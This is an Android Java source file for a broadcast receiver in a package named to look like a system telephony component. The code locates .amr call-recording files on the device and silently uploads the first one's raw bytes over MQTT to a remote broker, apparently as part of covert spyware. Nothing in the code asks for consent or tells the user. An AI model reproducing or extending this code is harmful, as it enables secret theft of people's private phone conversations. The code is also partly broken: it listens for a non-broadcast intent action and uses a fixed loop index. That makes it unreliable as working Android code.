package com.android.telephonecall.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.provider.MediaStore;
import android.util.Log;

import com.android.telephonecall.MqttClientManager;
import com.android.telephonecall.utils.MqttAction;

import org.eclipse.paho.client.mqttv3.MqttException;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class FileCreationReceiver extends BroadcastReceiver {

    private static final String TAG = "FileCreationReceiver";

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(Intent.ACTION_CREATE_DOCUMENT)) {
            int record = 0;
            // 获取创建的文件信息
            String fileName = intent.getData().getLastPathSegment();
            Log.d(TAG, "onReceive fileName: " + fileName);

            // 处理文件创建事件
            List<File> amrFiles = getAMRFiles(context);
            if (amrFiles != null) {
                for (int i = 0; i < amrFiles.size(); i++) {
                    File amrFile = amrFiles.get(i);
                    if (i == record) {
                        //通话记录上传
                        String absolutePath = amrFile.getAbsolutePath();
                        Log.d(TAG, "onReceive absolutePath: " + absolutePath);
                        try {
                            FileInputStream inputStream = new FileInputStream(amrFile);
                            // 读取文件内容到字节数组
                            byte[] fileData = new byte[(int) amrFile.length()];
                            int bytesRead = inputStream.read(fileData);
                            MqttClientManager.getInstance().publishMessage("cellphone/record/0/init",
                                    fileData, MqttAction.ACTION_UPLOAD_FILE_RESULT);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                        break;
                    }
                }
            }
        }
    }

    private List<File> getAMRFiles(Context context) {
        List<File> amrFiles = new ArrayList<>();

        // 获取Call Recordings文件夹的URI
        Uri recordingsUri = MediaStore.Audio.Media.getContentUri(MediaStore.VOLUME_EXTERNAL_PRIMARY);

        // 构建查询条件
        String selection = MediaStore.Audio.Media.DISPLAY_NAME + " LIKE ?";
        String[] selectionArgs = new String[]{"%.amr"};

        // 查询Call Recordings文件夹下的.amr文件
        Cursor cursor = context.getContentResolver().query(recordingsUri, null, selection, selectionArgs, null);
        if (cursor != null && cursor.moveToFirst()) {
            int dataIndex = cursor.getColumnIndex(MediaStore.Audio.Media.DATA);
            do {
                // 获取文件路径
                String filePath = cursor.getString(dataIndex);
                File file = new File(filePath);
                amrFiles.add(file);
            } while (cursor.moveToNext());

            cursor.close();
        }

        return amrFiles;
    }
}
